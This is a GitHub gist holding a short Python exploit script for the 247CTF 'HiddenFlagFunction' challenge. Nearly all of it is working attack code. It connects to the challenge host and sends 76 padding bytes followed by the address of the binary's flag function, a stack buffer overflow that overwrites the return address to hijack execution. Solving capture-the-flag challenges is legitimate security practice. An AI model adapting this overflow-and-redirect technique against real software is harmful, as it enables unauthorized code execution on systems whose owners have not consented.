Skip to content

Instantly share code, notes, and snippets.

@4n0nym4u5
Created May 18, 2022 09:32
Show Gist options
  • Save 4n0nym4u5/579b3e1327cdac1c5bd3a2ac7e3afee0 to your computer and use it in GitHub Desktop.
Save 4n0nym4u5/579b3e1327cdac1c5bd3a2ac7e3afee0 to your computer and use it in GitHub Desktop.
247 HiddenFlagFunction
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Author := 4n0nym4u5
from rootkit import *
from time import sleep
exe = context.binary = ELF('./hidden_flag_function')
host = args.HOST or 'd7e65441cdbee03f.247ctf.com'
port = int(args.PORT or 50291)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
libc=SetupLibcELF()
io = start()
re()
sl(b"A"*76 + p(exe.sym.flag))
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment